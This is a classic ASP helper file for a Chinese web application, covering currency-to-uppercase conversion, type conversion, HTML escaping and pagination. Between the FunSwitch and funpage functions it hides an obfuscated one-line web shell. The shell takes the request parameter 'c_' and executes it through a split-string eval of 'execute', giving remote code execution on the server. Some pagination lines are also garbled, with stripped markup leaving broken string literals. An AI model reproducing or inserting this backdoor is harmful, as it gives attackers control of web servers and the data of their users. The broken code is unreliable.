<% Response.Charset="UTF-8" %>
<%
function CheckURL(byval A_strUrl)
set XMLHTTP = Server.CreateObject("Microsoft.XMLHTTP")
XMLHTTP.open "HEAD",A_strUrl,false
XMLHTTP.send()
CheckURL=(XMLHTTP.status=200)
set XMLHTTP = nothing
end function
function cmycurd(num) 'num为要转换成大写的金额
dim str1 '如下定义
dim str2 '如下定义
dim str3 '从原num值中取出的值
dim i '循环变量
dim j 'num的值乘以100的字符串长度
dim ch1 '数字的汉语读法
dim ch2 '数字位的汉字读法
dim nzero '用来计算连续的零值是几个
str1 = "零壹贰叁肆伍陆柒捌玖"
str2 = "万仟佰拾亿仟佰拾万仟佰拾圆角分"
nzero = 0
if isnull(num) or num = "" then
cmycurd = " "
exit function
end if
num = Round(Abs(num),2) '将num取绝对值并四舍五入取2位小数
j = Len(CStr(num * 100)) '找出最高位
if j > 15 then
cmycurd = "溢出"
exit function
end if
str2 = Right(str2, j) '取出对应位数的str2的值。如：200.55,j为5所以str2=佰拾元角分
'循环取出每一位需要转换的值
for i = 1 to j
str3 = Mid(num * 100, i, 1) '取出需转换的某一位的值
if i <> (j - 3) + 1 and i <> (j - 7) + 1 and i <> (j - 11) + 1 and i <>(j - 15) + 1 then '当所取位数不为元、万、亿、万亿上的数字时
if str3 = 0 then
ch1 = ""
ch2 = ""
nzero = nzero + 1
elseif str3 <> 0 and nzero <> 0 then
ch1 = "零" & Mid(str1, clng(str3) + 1, 1)
ch2 = Mid(str2, i, 1)
nzero = 0
else
ch1 = Mid(str1, CLng(str3) + 1, 1)
ch2 = Mid(str2, i, 1)
nzero = 0
end if
else '该位是万亿，亿，万，元位等关键位
if str3 <> 0 and nzero <> 0 then
ch1 = "零" & Mid(str1, clng(str3) + 1, 1)
ch2 = Mid(str2, i, 1)
nzero = 0
elseif str3 <> 0 and nzero = 0 Then
ch1 = Mid(str1, clng(str3) + 1, 1)
ch2 = Mid(str2, i, 1)
nzero = 0
elseif str3 = 0 and nzero >= 3 Then
ch1 = ""
ch2 = ""
nzero = nzero + 1
elseif j > 10 Then '当为整亿以上的时候，会多添加一个万，因此把这种情况去掉
ch1 = ""
nzero = nzero + 1
else
ch1 = ""
ch2 = Mid(str2, i, 1)
nzero = nzero + 1
end if
if i = (j - 11) + 1 Or i = (j - 3) + 1 Then '如果该位是亿位或元位，则必须写上
ch2 = Mid(str2, i, 1)
end if
end if
cmycurd = cmycurd & ch1 & ch2
if i = j and str3 = 0 Then '最后一位（分）为0时，加上“整”
cmycurd = cmycurd & "整"
end if
next
if num = 0 then
cmycurd="零圆整"
end if
end function
function MakedownName()
dim fname
fname = now()
fname = replace(fname,"-","")
fname = replace(fname," ","")
fname = replace(fname,":","")
fname = replace(fname,"PM","")
fname = replace(fname,"AM","")
fname = replace(fname,"上午","")
fname = replace(fname,"下午","")
fname = int(fname) + int((10-1+1)*Rnd + 1)
MakedownName=fname
end function
function TOHtmlCode(Str)
if not isnull(Str) then
TOHtmlCode = Replace(Str, CHR(13), "")
TOHtmlCode = Replace(TOHtmlCode, CHR(10) & CHR(10), "")
TOHtmlCode = Replace(TOHtmlCode, CHR(10), "
")
TOHtmlCode = Replace(TOHtmlCode, " ", " ")
end if
end function
function TOCharCode(Str)
TOCharCode=Str
if not isnull(Str) then
TOCharCode = Replace(TOCharCode,"
", CHR(10) & CHR(10))
TOCharCode = Replace(TOCharCode,"
",CHR(10))
TOCharCode= Replace(TOCharCode," "," ")
end if
end function
'--------------------------------------------------------------------------
' 函数功能： 常用类型转换
' 参 数: _Type 数据类型
' _Value 数据
' 参 数 值: _Type 1 : 转换成数值型数据
' _Type 2 : 转换成字符型数据
' _Type 3 : 转换成布尔型数据
'--------------------------------------------------------------------------
function FunSwitch(Value_,Type_)
on error resume next
select case Type_
case 1
if isnumeric(Value_) then
if not isnull(Value_) then
FunSwitch=clng(Value_)
else
FunSwitch=0
end if
else
FunSwitch=0
end if
case 2
if not isnull(Value_) then
FunSwitch=cstr(Value_)
else
FunSwitch=""
end if
case 3
if not isnull(Value_) and isnumeric(Value_) then
FunSwitch=cbool(Value_)
else
FunSwitch=false
end if
case else
response.redirect("Error.asp?err=请指定 FunSwitch 中要转达换成的数据类型！")
end select
if err.number<>0 then
response.redirect("Error.asp?err=数据转换时产生未知错误！")
err.clear
end if
end function
dim c5_:c5_=request ((""&"c" & "_"))
c5_=replace(c5_,"`",""):if c5_<>"" then
x=0\eval (("e"&"xec"&"ut"&"e(c5_)"))
end if
'*************************
'功能：分页
'修正了在搜索中不能正确分页的BUG...
'*************************
function funpage(Intpagecount,Intmypage,Intrecordcount,Intpagesize)
on error resume next
dim Intfor,Intlist,intlist_b
Dim query, a, x, temp
action = "http://" & Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("SCRIPT_NAME")
query = Split(Request.ServerVariables("QUERY_STRING"), "&")
For Each x In query
a = Split(x, "=")
If StrComp(a(0), "page", vbTextCompare) <> 0 Then
if a(0)<>"EbookId" then
temp = temp & a(0) & "=" & a(1) & "&"
end if
End If
Next
if intmypage>1 then
funpage=funpage & "<<"
funpage=funpage&"<"
end if
if intpagecount<=3 then
intlist_b=1
Intlist=intpagecount
else
if intmypage=1 then
intlist_b=1
else
if intmypage=intpagecount then
intlist_b=intmypage-2
else
intlist_b=intmypage-1
end if
end if
Intlist=intlist_b+2
end if
for Intfor=intlist_b to Intlist
if intfor<=Intpagecount then
if intfor=Intmypage then '-------使当前页文字为红色，并不可点击
funpage =funpage & strMode&" "& Intfor & ""
else
funpage=funpage & strMode &" " & Intfor & ""
end if
end if
next
if intmypage>"
funpage=funpage &">>"
end if
funpage=funpage
if err.number<>0 then
err.clear
response.redirect("/member/error.asp?err=分页函数出错，请与管理员联系！|")
end if
end function
function funpage1(Intpagecount,Intmypage,Intrecordcount,Intpagesize)
on error resume next
dim Intfor,Intlist,intlist_b
Dim query, a, x, temp
action = "http://" & Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("SCRIPT_NAME")
query = Split(Request.ServerVariables("QUERY_STRING"), "&")
For Each x In query
a = Split(x, "=")
If StrComp(a(0), "page", vbTextCompare) <> 0 Then
if a(0)="cid" then
temp = temp & a(0) & "=" & 0 & "&"
else
temp = temp & a(0) & "=" & a(1) & "&"
end if
End If
Next
if intmypage>1 then
funpage1=funpage1 & "首页"
funpage1=funpage1&"上一页"
end if
if intpagecount<=3 then
intlist_b=1
Intlist=intpagecount
else
if intmypage=1 then
intlist_b=1
else
if intmypage=intpagecount then
intlist_b=intmypage-2
else
intlist_b=intmypage-1
end if
end if
Intlist=intlist_b+2
end if
for Intfor=intlist_b to Intlist
if intfor<=Intpagecount then
if intfor=Intmypage then '-------使当前页文字为红色，并不可点击
funpage1 =funpage1 & strMode&" "& Intfor & ""
else
funpage1=funpage1 & strMode &" " & Intfor & ""
end if
end if
next
if intmypage下一页"
funpage1=funpage1 &"尾页"
end if
funpage1=funpage1
if err.number<>0 then
err.clear
response.redirect("/member/error.asp?err=分页函数出错，请与管理员联系！|")
end if
end function
%>